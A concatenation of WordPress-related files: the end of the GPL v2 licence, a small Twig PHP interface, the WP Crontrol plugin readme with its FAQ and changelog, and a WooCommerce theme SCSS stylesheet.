WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

 END OF TERMS AND CONDITIONS

How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year>  <name of author>

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.

<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
<?php

/*
 * This file is part of Twig.
 *
 * (c) Fabien Potencier
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace ElementorDeps\Twig\Extension;

/**
 * Enables usage of the deprecated Twig\Extension\AbstractExtension::getGlobals() method.
 *
 * Explicitly implement this interface if you really need to implement the
 * deprecated getGlobals() method in your extensions.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
interface GlobalsInterface
{
    /**
     * @return array<string, mixed>
     */
    public function getGlobals() : array;
}
# WP Crontrol

Contributors: johnbillion, scompt
Tags: cron, wp-cron, crontrol, debug, woocommerce
Tested up to: 6.9
Stable tag: 1.21.0
License: GPL v2 or later
Donate link: https://github.com/sponsors/johnbillion

WP Crontrol enables you to take control of the cron events on your WordPress website.

## Description

WP Crontrol enables you to take control of the scheduled cron events on your WordPress website or WooCommerce store. From the admin screens you can:

 * View all scheduled cron events along with their arguments, schedule, callback functions, and when they are next due.
 * Edit, delete, pause, resume, and immediately run cron events.
 * Add new cron events.
 * Bulk delete cron events.
 * Add and remove custom cron schedules.
 * Export and download cron event lists as a CSV file.

WP Crontrol is aware of timezones, will alert you to events that have no actions or that have missed their schedule, and will show you a helpful warning message if it detects any problems with your cron system.

### Usage

1. Go to the `Tools → Cron Events` menu to manage cron events.
2. Go to the `Settings → Cron Schedules` menu to manage cron schedules.

### Documentation

[Extensive documentation on how to use WP Crontrol and how to get help for error messages that it shows is available on the WP Crontrol website](https://wp-crontrol.com/docs/how-to-use/).

### For site owners

Owners of WordPress websites and WooCommerce stores use WP Crontrol to ensure that scheduled cron events run correctly and efficiently. By providing complete control over cron events, WP Crontrol helps you:

* **Improve reliability**: Address missed or failed cron events, ensuring your website or WooCommerce store continues to function as expected.
* **Enhance security**: Monitor and control cron events to ensure automatic update checks are performed as they should.
* **Simplify management**: Add, edit, delete, and pause cron events from a user-friendly interface, without needing to write any code.
* **Gain insights**: Export cron event data for analysis or reporting.
* **Action Scheduler compatibility**: Full support for the Action Scheduler system in WooCommerce, which is used to process recurring payments, subscriptions, and background orders.
* **Clarity of times and timezones**: All times are shown with a clear and accurate indication of which timezone applies. No more guesswork!

### For developers

Developers use WP Crontrol to streamline and debug their WordPress development process:

* **Enhanced debugging**: Identify and troubleshoot issues with scheduled tasks, ensuring your scheduled events and their callbacks run as expected.
* **Custom schedules**: Create and manage custom cron schedules to fit the specific needs of your website, plugins, or themes, providing greater flexibility than just the core schedules.
* **Efficient workflow**: Add, edit, and delete cron events directly from the WordPress admin interface, saving time and reducing the need for manual coding.
* **Insightful monitoring**: Get insight into the performance and behavior of your scheduled tasks, allowing for optimization and better resource management.
* **Accurate debugging**: WP Crontrol goes to great lengths to ensure that running an event manually does so in a manner which exactly matches how WordPress core runs schdeuled events. This ensures that you can debug events accurately and with confidence.

### Other Plugins

I maintain several other plugins for developers. Check them out:

* [Query Monitor](https://wordpress.org/plugins/query-monitor/) is the developer tools panel for WordPress.
* [User Switching](https://wordpress.org/plugins/user-switching/) provides instant switching between user accounts in WordPress.

### Privacy Statement

WP Crontrol is private by default and always will be. It does not send data to any third party, nor does it include any third party resources. [WP Crontrol's full privacy statement can be found here](https://wp-crontrol.com/privacy/).

### Accessibility Statement

WP Crontrol aims to be fully accessible to all of its users. [WP Crontrol's full accessibility statement can be found here](https://wp-crontrol.com/accessibility/).

## Frequently Asked Questions

### Does this plugin work with PHP 8?

Yes, it's actively tested and working up to PHP 8.4.

### I get the error "There was a problem spawning a call to the WP-Cron system on your site". How do I fix this?

[You can read all about problems spawning WP-Cron on the WP Crontrol website](https://wp-crontrol.com/help/problems-spawning-wp-cron/).

### Why do some cron events miss their schedule?

[You can read all about cron events that miss their schedule on the WP Crontrol website](https://wp-crontrol.com/help/missed-cron-events/).

### Why do some cron events reappear shortly after I delete them?

If the event is added by a plugin then the plugin most likely rescheduled the event as soon as it saw that the event was missing. To get around this you can instead use the "Pause this hook" action which means it'll remain in place but won't perform any action when it runs.

### Is it safe to delete cron events?

This depends entirely on the event. You can use your favourite search engine to search for the event name in order to find out which plugin it belongs to, and then decide whether or not to delete it.

If the event shows "None" as its action then it's usually safe to delete. Please see the other FAQs for more information about events with no action.

### Why can't I delete some cron events?

The WordPress core software uses cron events for some of its functionality and removing these events is not possible because WordPress would immediately reschedule them if you did delete them. For this reason, WP Crontrol doesn't let you delete these persistent events from WordPress core in the first place.

If you don't want these events to run, you can use the "Pause this hook" action instead.

### What happens when I pause an event?

Pausing an event will disable all actions attached to the event's hook. The event itself will remain in place and will run according to its schedule, but all actions attached to its hook will be disabled. This renders the event inoperative but keeps it scheduled so as to remain fully compatible with events which would otherwise get automatically rescheduled when they're missing.

As pausing an event actually pauses its hook, all events that use the same hook will be paused or resumed when pausing and resuming an event. This is much more useful and reliable than pausing individual events separately.

### What happens when I resume an event?

Resuming an event re-enables all actions attached to the event's hook. All events that use the same hook will be resumed.

### What does it mean when "None" is shown for the Action of a cron event?

This means the cron event is scheduled to run at the specified time but there is no corresponding functionality that will be triggered when the event runs, therefore the event is useless.

[You can read all about events with no action on the WP Crontrol website](https://wp-crontrol.com/help/no-action-cron-events/).

### How do I change the next run time or the schedule of a cron event?

You can change the time and schedule of a cron event by clicking the "Edit" link next to the event.

### Why do changes that I make to some cron events not get saved?

[You can read all about problems with editing cron events on the WP Crontrol website](https://wp-crontrol.com/help/problems-managing-events/).

### Can I export a list of cron events?

Yes, a CSV file of the event list can be exported and downloaded via the "Export" button on the cron event listing screen. This file can be opened in any spreadsheet application.

### Can I see a historical log of all the cron events that ran on my site?

Not yet, but I hope to add this functionality soon.

### Can I see a historical log of edits, additions, and deletions of cron events and schedules?

Yes. The excellent <a href="https://wordpress.org/plugins/simple-history/">Simple History plugin</a> has built-in support for logging actions performed via WP Crontrol.

### What's the use of adding new cron schedules?

Cron schedules are used by WordPress and plugins for scheduling events to be executed at regular intervals. Intervals must be provided by the WordPress core or a plugin in order to be used. As an example, many backup plugins provide support for periodic backups. In order to do a weekly backup, a weekly cron schedule must be entered into WP Crontrol first and then a backup plugin can take advantage of it as an interval.

### How do I create a new cron event?

There are two steps to getting a functioning cron event that executes regularly. The first step is telling WordPress about the hook. This is the part that WP Crontrol was created to provide. The second step is calling a function when your hook is executed.

*Step One: Adding the event*

From the Tools → Cron Events menu, click on Add Cron Event. Fill out the details of the event. You're best off using a hook name that conforms to normal PHP variable naming conventions. The schedule is how often the event will be executed. If you don't see a good interval, then add one in the Settings → Cron Schedules menu.

*Step Two: Writing the function*

This part takes place in PHP code (for example, in the `functions.php` file from your theme). To execute your hook, WordPress runs an action. For this reason, we need to tell WordPress which function to execute when this action is run. The following line accomplishes that:

~~~php
add_action( 'my_hookname', 'my_function' );
~~~

The next step is to write your function. Here's a simple example:

~~~php
function my_function() {
	wp_mail( 'hello@example.com', 'WP Crontrol', 'WP Crontrol rocks!' );
}
~~~

### How can I create a cron event that requests a URL?

From the Tools → Cron Events menu, click on Add Cron Event. Select the "URL cron event" option, fill out the details, and press the "Add Event" button.

[You can read all about the features and security of URL cron events on the WP Crontrol website](https://wp-crontrol.com/docs/url-cron-events/).

### How do I create a new PHP cron event?

From the Tools → Cron Events menu, click on Add Cron Event. Select the "PHP cron event" option and enter the schedule and next run time. The event schedule is how often your event will be executed. If you don't see a good interval, then add one in the Settings → Cron Schedules menu. In the "PHP Code" area, enter the PHP code that should be run when your cron event is executed. You don't need to provide the PHP opening tag (`<?php`).

Creating, editing, and running PHP cron events is subject to restrictive security permissions. [You can read all about the features and security of PHP cron events on the WP Crontrol website](https://wp-crontrol.com/docs/php-cron-events/).

### Which users can manage cron events and schedules?

Only users with the `manage_options` capability can manage cron events and schedules. By default, only Administrators have this capability.

### Which users can manage PHP cron events? Is this dangerous?

Only users with the `edit_files` capability can manage PHP cron events. This means if a user cannot edit files via the WordPress admin area (i.e. through the Plugin Editor or Theme Editor) then they also cannot add, edit, or delete a PHP cron event in WP Crontrol. By default only Administrators have this capability, and with Multisite enabled only Super Admins have this capability.

If file editing has been disabled via the `DISALLOW_FILE_MODS` or `DISALLOW_FILE_EDIT` configuration constants then no user will have the `edit_files` capability, which means adding, editing, or deleting a PHP cron event will not be permitted.

Therefore, the user access level required to execute arbitrary PHP code does not change with WP Crontrol activated.

If the `CRONTROL_DISALLOW_PHP_EVENTS` constant is defined and set to `true`, then PHP cron events will be disabled completely. Any existing PHP cron events will remain in place (and can be deleted if user permissions allow) but their PHP code will not be executed when the event runs, and no PHP cron events can be added, edited, or run.

[You can read all about the features and security of PHP cron events on the WP Crontrol website](https://wp-crontrol.com/docs/php-cron-events/).

### Are any WP-CLI commands available?

The cron commands which were previously included in WP Crontrol are now part of WP-CLI itself. See `wp help cron` for more info.

### What happens when I deactivate the WP Crontrol plugin?

[You can read all about what happens when you deactivate the plugin on the WP Crontrol website](https://wp-crontrol.com/docs/deactivation/).

### How can I report a security bug?

[You can report security bugs through the official WP Crontrol Vulnerability Disclosure Program on Patchstack](https://patchstack.com/database/vdp/wp-crontrol). The Patchstack team helps validate, triage, and handle any security vulnerabilities.

### Who took the photo in the plugin header image?

The photo was taken by <a href="https://www.flickr.com/photos/michaelpardo/21453119315">Michael Pardo</a> and is in the public domain.

## Screenshots

1. Cron events can be modified, deleted, and executed
2. New cron events can be added
3. New cron schedules can be added, giving plugin developers more options when scheduling events
## Changelog ##

### 1.21.0 (28 January 2026) ###

* Adds support for invalid args in cron events by relaxing the strict typing and showing a warning on the listing and editing screens.

### 1.20.0 (17 December 2025) ###

* Confirms support for WordPress 6.9
* Minor UI and UX improvements
* Some architectural changes to prepare for future enhancements


### 1.19.3 (23 October 2025) ###

* Corrects the handling of closures as cron event actions.


### 1.19.2 (19 August 2025) ###

* Security: Hardens the "URL cron event" functionality by rejecting disallowed URLs. [More information see the security advisory](https://github.com/johnbillion/wp-crontrol/security/advisories/GHSA-35c5-67fm-cpcp).
* Tweaks the display of some non-persistent WordPress core hooks when Multisite is enabled.

### 1.19.1 (3 June 2025) ###

* Reinstates the ability to edit the Action Scheduler event.

### 1.19.0 (23 April 2025) ###

* Confirms support for WordPress 6.8
* Further improvements to the display of dates, intervals, and timezones for increased clarity
* Adds more contextual help links for problematic events
* Various UI and UX improvements

### 1.18.0 (13 January 2025) ###

* Introduces support for a `CRONTROL_DISALLOW_PHP_EVENTS` constant to fully disable the PHP cron event functionality. [Full documentation here](https://wp-crontrol.com/docs/php-cron-events/).
* Further improvements to how time durations and timezone information is displayed.

### 1.17.1 (22 November 2024) ###

* Confirms support for WordPress 6.7
* Avoids some warnings when running on PHP 8.3 and 8.4

### 1.17.0 (15 July 2024) ###

* Introduces [a new cron event type for sending a request to a URL](https://wp-crontrol.com/docs/url-cron-events/)
* Confirms support for WordPress 6.6
* Improves various aspects of the cron management interface and language


### 1.16.3 (19 April 2024) ###

* Corrects the displayed PHP cron event name if one is provided

### Earlier versions ###

For the changelog of earlier versions, <a href="https://github.com/johnbillion/wp-crontrol/releases">refer to the releases page on GitHub</a>.
/**
* Fonts
*/
@font-face {
	font-family: star;
	src: url(../fonts/star.eot);
	src:
		url(../fonts/star.eot?#iefix) format("embedded-opentype"),
		url(../fonts/star.woff) format("woff"),
		url(../fonts/star.ttf) format("truetype"),
		url(../fonts/star.svg#star) format("svg");
	font-weight: 400;
	font-style: normal;
}

@font-face {
	font-family: WooCommerce;
	src: url(../fonts/WooCommerce.eot);
	src:
		url(../fonts/WooCommerce.eot?#iefix) format("embedded-opentype"),
		url(../fonts/WooCommerce.woff) format("woff"),
		url(../fonts/WooCommerce.ttf) format("truetype"),
		url(../fonts/WooCommerce.svg#WooCommerce) format("svg");
	font-weight: 400;
	font-style: normal;
}

@import "mixins";
@import "animation";

$tt2-gray: #f7f7f7;

/**
 * Main layout.
 */

.woocommerce-page {

	h1.wp-block-post-title {
		font-size: var(--wp--preset--font-size--huge);
	}

	h2 {
		font-size: var(--wp--preset--font-size--large);
	}

	main {
		.woocommerce {
			@include clearfix();
			max-width: 1000px;
		}
	}
}

.woocommerce {

	// Common
	.woocommerce-products-header {
		h1.page-title {
			font-family: var(--wp--preset--font-family--source-serif-pro);
			font-size: var(--wp--custom--typography--font-size--gigantic);
			font-weight: 300;
			line-height: var(--wp--custom--typography--line-height--tiny);
			margin-bottom: var(--wp--custom--spacing--medium);
		}
	}

	span.onsale {
		top: -1rem;
		right: -1rem;
		position: absolute;
		background: var( --wp--preset--color--secondary );
		border-radius: 2rem;
		line-height: 2.6rem;
		font-size: 0.8rem;
		padding: 0rem 0.5rem 0rem 0.5rem;
	}

	.price ins, bdi {
		text-decoration: none;
	}

	.quantity {
		input[type='number'] {
			width: 3em;
		}

		input[type='number']::-webkit-inner-spin-button,
		input[type='number']::-webkit-outer-spin-button{
			opacity: 1;
		}
	}

	&.woocommerce-shop .woocommerce-breadcrumb {
		display: none;
	}

	.woocommerce-message,
	.woocommerce-error,
	.woocommerce-info {
		background: $tt2-gray;
		border-top-color: var( --wp--preset--color--primary );
		border-top-style: solid;
		padding: 1rem 1.5rem;
		margin-bottom: 2rem;
		list-style: none;
		font-size: var(--wp--preset--font-size--small);

		&[role='alert']::before {
			color: var( --wp--preset--color--background );
			background: var( --wp--preset--color--primary );
			border-radius: 5rem;
			font-size: 1rem;
			padding-left: 3px;
			padding-right: 3px;
			margin-right: 1rem;
		}

		a.button {
			margin-top: -0.5rem;
			border: none;
			background: #ebe9eb;
			color: var(--wp--preset--color--black);
			padding: 0.5rem 1rem;

			&:hover,
			&:visited {
				color: var(--wp--preset--color--black);
			}
		}
	}

	.woocommerce-error[role='alert'] {
		margin: 0;

		&::before {
			content: 'X';
			padding-right: 4px;
			padding-left: 4px;
		}

		li {
			display: inline-block;
		}
	}

	.woocommerce-message {
		&[role='alert']::before {
			content: '\2713';
		}
	}

	.woocommerce-NoticeGroup-checkout {
		ul.woocommerce-error[role='alert'] {
			&::before {
				display: none;
			}
			li {
				display: inherit;
				margin-bottom: 1rem;
			}
		}
	}

	a.button,
	button[name='add-to-cart'],
	input[name='submit'],
	button.single_add_to_cart_button,
	button[type='submit']:not(.wp-block-search__button) {
		display: inline-block;
		text-align: center;
		word-break: break-word;
		background-color: var( --wp--preset--color--primary );
		color: #fff;
		border: 1px solid var(--wp--preset--color--black);
		padding: 1rem 2rem;
		margin-top: 1rem;
		text-decoration: none;
		font-size: medium;
		cursor: pointer;

		&:hover,
		&:visited {
			color: var( --wp--preset--color--white );
			text-decoration: underline;
		}
	}

	button.woocommerce-form-login__submit,
	button.single_add_to_cart_button,
	a.checkout-button {
		font-size: 18px;
		padding: 1.5rem 3.5rem;
	}

	// Shop page

	.woocommerce-result-count {
		margin-top: 0;
		font-size: 0.9rem;
	}

	.woocommerce-ordering {
		margin-top: -0.2rem;
		margin-bottom: 3rem;

		select {
			padding: 0.2rem 0 0.2rem 0.5rem;
		}
	}

	// Products.
	ul.products {

		padding-inline-start: 0;

		li.product {
			list-style: none;
			margin-top: var(--wp--style--block-gap);
			text-align: center;

			a.woocommerce-loop-product__link {
				text-decoration: none;
				display: block;
			}

			h2.woocommerce-loop-product__title {
				color: var( --wp--preset--color--primary );
				font-family: var( --wp--preset--font-family--system-font );
				font-size: 1.2rem;
				text-decoration: none;
				margin-bottom: 0;
			}

			a.add_to_cart_button {
				padding: 0.8rem 2.7rem;

				&.loading {
					opacity: 0.5;
				}
			}

			a.added_to_cart {
				display: block;
				margin-top: 1rem;
			}
		}
	}

	ul.page-numbers {
		text-align: center;
	}

	div.product {
		position: relative;
		overflow: auto;

		> span.onsale {
			position: absolute;
			left: -1rem;
			top: -1rem;
			width: 1.8rem;
			z-index: 1;
		}

		div.woocommerce-product-gallery {
			position: relative;

			a.woocommerce-product-gallery__trigger {
				position: absolute;
				top: 1rem;
				right: 1rem;
				z-index: 1;
				text-decoration: none;
				border-radius: 1rem;
				border-style: solid;
				line-height: 1.5rem;
				padding: 0;
				font-size: 0.6rem;
				background: var( --wp--preset--color--white );
				border-color: var( --wp--preset--color--white );
				height: 1.5rem;
				width: 1.5rem;
				overflow: hidden;

				&::before {
					content: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="img" focusable="false" viewBox="0 0 24 24" width="24" height="24"><path d="M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z" /></svg>');
					display: block;
					transform: rotateY(180deg);
					margin-left: 1.55rem;
				}
			}

			figure.woocommerce-product-gallery__wrapper {
				margin: 0;
			}

		}

		div.summary {
			font-size: 1rem;

			> *{
				margin-bottom: var( --wp--style--block-gap );
			}

			h1.product_title {
				font-size: 2.5rem;
				margin: 0;
			}

			figure.woocommerce-product-gallery__wrapper {
				margin: 0;
			}

			.woocommerce-product-rating {
				.star-rating {
					display: inline-block;
				}
				.woocommerce-review-link {
					display: inline-block;
					overflow: hidden;
					position: relative;
					top: -0.5em;
					font-size: 1em;
				}
			}
		}

		button[name='add-to-cart'], button.single_add_to_cart_button {
			margin-top: 0.5rem;
			margin-bottom: var( --wp--style--block-gap );
		}

		table.variations {
			tr {
				display: block;
				margin-bottom: var( --wp--style--block-gap );

				th {
					padding-right: 1rem;
				}

				td select {
					padding: 2px;
				}
			}
		}

		ol.flex-control-thumbs {
			padding-left: 0;
			float: left;

			li {
				list-style: none;
				cursor: pointer;
				float: left;
				width: 18%;
				margin-right: 1rem;
			}

		}

		a.reset_variations {
			margin-left: 0.5em;
		}

		table.group_table {
			td {
				padding-right: 0.5rem;
				padding-bottom: 1rem;
			}

			margin-bottom: var( --wp--style--block-gap );
		}

		.related.products {
			margin-top: 7rem;
		}
	}

	.woocommerce-tabs {
		padding-top: var( --wp--style--block-gap );

		ul.wc-tabs {
			padding: 0;
			border-bottom-style: solid;
			border-bottom-width: 1px;
			border-bottom-color: #EAE9EB;

			li {
				background: #EAE9EB;
				margin: 0;
				padding: 0.5em 1em 0.5em 1em;
				border-color: #EAE9EB;
				border-top-left-radius: 5px;
				border-top-right-radius: 5px;
				float: left;
				border-style: solid;
				border-width: 1px;
				border-left-color: var( --wp--preset--color--background );
				font-weight: 600;
				font-size: var(--wp--preset--font-size--medium);

				&:first-child {
					border-left-color: #EAE9EB;
					margin-left: 1em;
				}

				&.active {
					background: var( --wp--preset--color--background );
					border-bottom-color: var( --wp--preset--color--background );
					box-shadow: 0 1px var( --wp--preset--color--background );
				}

				a {
					text-decoration: none;
				}
			}
		}

		.woocommerce-Tabs-panel {
			padding-top: var( --wp--style--block-gap );
			font-size: var(--wp--preset--font-size--small);
			margin-left: 1em;

			h2 {
				display: none;
			}
		}
	}

	.woocommerce-Reviews {
		ol.commentlist {
			list-style: none;
			padding-left: 0;

			img.avatar {
				float: left;
			}

			p.meta {
				font-size: 1rem;
			}

			.comment-text {
				display: inline-block;
				padding-left: var( --wp--style--block-gap );

				.star-rating {
					margin-top: 0;
					margin-right: unset;
					margin-left: unset;
				}
			}
		}

		.comment-form-rating {
			label {
				display: inline-block;
				padding-right: var( --wp--style--block-gap );
				padding-top: var( --wp--style--block-gap );
			}

			p.stars {
				display: inline;
				a::before {
					color: var( --wp--preset--color--secondary );
				}
			}
		}

		.comment-form-comment {
			label {
				float: left;
				padding-right: var( --wp--style--block-gap );
			}
		}

		#review_form_wrapper {
			margin-top: 5rem;
		}

		.comment-reply-title {
			font-size: var(--wp--preset--font-size--medium);
			font-weight: 700;
		}
	}


	.star-rating {
		overflow: hidden;
		position: relative;
		height: 1em;
		line-height: 1;
		width: 5.4rem;
		font-family: star;
		color: var( --wp--preset--color--secondary );
		margin: 1rem auto .7rem auto;

		&::before {
			content: "\73\73\73\73\73";
			float: left;
			top: 0;
			left: 0;
			position: absolute;
			font-size: 1rem;
		}

		span {
			overflow: hidden;
			float: left;
			top: 0;
			left: 0;
			position: absolute;
			padding-top: 1.5em;
		}

		span::before {
			content: "\53\53\53\53\53";
			top: 0;
			position: absolute;
			left: 0;
			font-size: 1rem;
		}
	}

	p.stars {
		margin-top: 0;

		a {
			position: relative;
			height: 1em;
			width: 1em;
			text-indent: -999em;
			display: inline-block;
			text-decoration: none;
			box-shadow: none;

			&::before {
				display: block;
				position: absolute;
				top: 0;
				left: 0;
				width: 1em;
				height: 1em;
				line-height: 1;
				font-family: WooCommerce;
				content: "\e021";
				text-indent: 0;
			}

			&:hover {

				~ a::before {
					content: "\e021";
				}
			}
		}

		&:hover {

			a {

				&::before {
					content: "\e020";
				}
			}
		}

		&.selected {

			a.active {

				&::before {
					content: "\e020";
				}

				~ a::before {
					content: "\e021";
				}
			}

			a:not(.active) {

				&::before {
					content: "\e020";
				}
			}
		}
	}

	.woocommerce-product-gallery__trigger {
		position: absolute;
		top: 1rem;
		right: 1rem;
		z-index: 99;
	}

	.return-to-shop {
		a.button {
			background-color: #fff;
			color: var( --wp--preset--color--primary );
			border: 2px solid var( --wp--preset--color--primary );
			padding: 0.7rem 2rem;
		}
	}

	mark {
		background: var( --wp--preset--color--secondary );
	}
}

/**
 * Form fields
 */
.woocommerce-page {

	form {

		.input-text {
			border: 1px solid var(--wp--preset--color--black);
			border-radius: 0;
			font-size: var(--wp--preset--font-size--small);
			padding: .9rem 1.1rem;
		}

		label {
			margin-bottom: .7rem;
		}

		abbr.required {
			text-decoration: none;
		}

		ul {
			margin-top: 0;
			margin-bottom: 0;
			list-style-type: none;
			padding-left: 0;
		}
	}

	input[type="radio"][name='payment_method'],
	input[type="radio"].shipping_method {
		display: none;

		& + label {

			&::before {
				content: "";
				display: inline-block;
				width: 1rem;
				height: 1rem;
				border: 2px solid var(--wp--preset--color--black);
				background: var(--wp--preset--color--white);
				margin-left: 4px;
				margin-right: 1.2rem;
				border-radius: 100%;
				transform: translateY(.2rem);
			}
		}

		& ~ .payment_box {
			padding-left: 3rem;
			margin-top: 1rem;
		}

		&:checked + label {

			&::before {
				background: radial-gradient(circle at center, black 45%, white 0);
			}
		}
	}

	label.woocommerce-form__label-for-checkbox {
		font-weight: normal;
		cursor: pointer;

		span {

			&::before {
				content: "";
				display: inline-block;
				height: 1rem;
				width: 1rem;
				border: 2px solid var(--wp--preset--color--black);
				background: var(--wp--preset--color--white);
				margin-right: .5rem;
				transform: translateY(.2rem);
			}
		}

		input[type="checkbox"] {
			display: none;
		}

		input[type="checkbox"]:checked + span::before {
			background: var(--wp--preset--color--black);
			box-shadow: inset .2rem .2rem var(--wp--preset--color--white), inset -.2rem -.2rem var(--wp--preset--color--white);
		}
	}

	table.shop_table_responsive {

		width: 100%;
		text-align: left;
		border-collapse: collapse;

		th,
		td {
			font-size: var(--wp--preset--font-size--small);
			font-weight: normal;
		}

		th {
			padding-bottom: 1rem;
		}

		tbody {

			tr {
				border-top: 1px solid var( --wp--preset--color--black );
			}

			td {
				a.button,
				button {
					margin-bottom: 1rem;
					border: none;
					background: #ebe9eb;
					color: var(--wp--preset--color--black);
					padding: 0.5rem 1rem 0.5rem 1rem;

					&:hover,
					&:visited {
						color: var(--wp--preset--color--black);
					}
				}

				&.woocommerce-orders-table__cell-order-actions {
					a.button {
						display: block;
					}
				}
			}
		}
	}
	
	table.shop_table,
	table.shop_table_responsive {
		tbody {
			.product-name {
				a:not(:hover) {
					text-decoration: none;
				}

				a:hover {
					text-decoration: underline;
					text-decoration-thickness: 1px;
				}

				.variation {
					dt {
						font-style: italic;
						margin-right: 0.25rem;
						float: left;
					}

					dd {
						font-style: normal;

						a {
							font-style: normal;
						}
					}
				}
			}
		}
	}

	/*
	 * Cart / Checkout
	 */
	.woocommerce-cart-form {

		#coupon_code {
			width: auto;
		}

		table.shop_table_responsive {

			td, th {
				padding: 1rem 0 0.5rem 1rem;
			}

			tbody {

				tr:last-of-type {
					border-top: none;
				}

				@media only screen and (max-width: 768px) {
					td {
						padding-left: 0;
					}

					.product-remove {
						width: auto;
						text-align: left !important;
					}

					#coupon_code {
						width: 50%;
						float: left;
						margin-bottom: 1rem;
					}
				}
			}

			button[name='apply_coupon'],
			button[name='update_cart'] {
				padding: 1rem 2rem;
				border: 2px solid #ebe9eb;
				margin: 0;
			}

			.product-remove {
				width: 1rem;
				font-size: var(--wp--preset--font-size--large);

				a {
					text-decoration: none;
				}
			}

			.product-thumbnail {
				width: 7.5rem;

				a {
					img {
						width: 117px;
					}
				}
			}
		}
	}

	.cart-collaterals {
		margin-top: 1.5rem;

		h2 {
			text-transform: uppercase;
			font-family: inherit;
			font-size: var(--wp--preset--font-size--medium);
		}

		table.shop_table_responsive {

			tr {
				border-top: none;
			}

			th {
				width: 11rem;
			}

			td, th {
				padding: 1rem 0;
				vertical-align: text-top;
			}
		}

		button[name='calc_shipping'] {
			padding: 1rem 2rem;
		}

		.woocommerce-Price-amount {
			font-weight: normal;
		}
	}

	.woocommerce-checkout,
	&.woocommerce-order-pay {
		display: table;

		h3 {
			font-family: inherit;
			font-size: var(--wp--preset--font-size--normal);
			font-weight: 700;
		}

		.col2-set {
			width: 43%;
			float: right;
		}

		.blockUI.blockOverlay {
			position: relative;
			@include loader();
		}

		#customer_details {
			width: 53%;
			float: left;

			.col-1, .col-2 {
				width: 100%;
				float: none;
			}
		}

		@media only screen and (max-width: 768px) {
			.col2-set,
			#customer_details {
				width: 100%;
				float: none;
			}
		}

		.woocommerce-billing-fields__field-wrapper,
		.woocommerce-checkout-review-order-table,
		.woocommerce-checkout-payment,
		#payment {
			margin-top: 4rem;
		}

		.woocommerce-checkout-review-order-table,
		#order_review .shop_table {
			border-collapse: collapse;
			width: 100%;

			thead {
				display: none;
			}

			th {
				text-align: left;
				font-weight: normal;
			}

			th, td {
				padding: 1rem 1rem 1rem 0;
				vertical-align: text-top;
			}

			tbody {
				border-bottom: 1px solid #d2ced2;
			}

			tr.order-total {
				border-top: 1px solid #d2ced2;
			}

			.product-quantity {
				font-weight: normal;
			}

			.product-total,
			.cart-subtotal,
			.order-total,
			.tax-rate,
			input[type="radio"].shipping_method:checked + label,
			input[type="hidden"].shipping_method + label {
				.woocommerce-Price-amount {
					font-weight: bold;
				}
			}
		}

		button#place_order {
			width: 100%;
			text-transform: uppercase;
		}
	}

	form.checkout_coupon {
		background: $tt2-gray;
		padding-left: 1.5rem;
		float: left;
		// 1.5 rem is to account for extra padding we added above.
		width: calc(100% - 1.5rem);

		.form-row {
			button[name='apply_coupon'] {
				margin-top: 0;
			}
		}
	}

	ul.wc_payment_methods,
	ul.woocommerce-shipping-methods {
		margin-top: 0;
		margin-bottom: 0;
		list-style-type: none;
		padding-left: 0;

		input[type='radio'] {
			margin-right: .6rem;
		}

		li.wc_payment_method {
			margin-bottom: 1rem;
		}
	}

	.woocommerce-thankyou-order-received {
		margin-top: 0;
	}

	.woocommerce-thankyou-order-received,
	h2.woocommerce-column__title {
		font-family: var(--wp--preset--font-family--source-serif-pro);
		font-size: var(--wp--preset--font-size--large);
		font-weight: 300;
	}

	.woocommerce-order > * {
		margin-bottom: var( --wp--style--block-gap );
	}

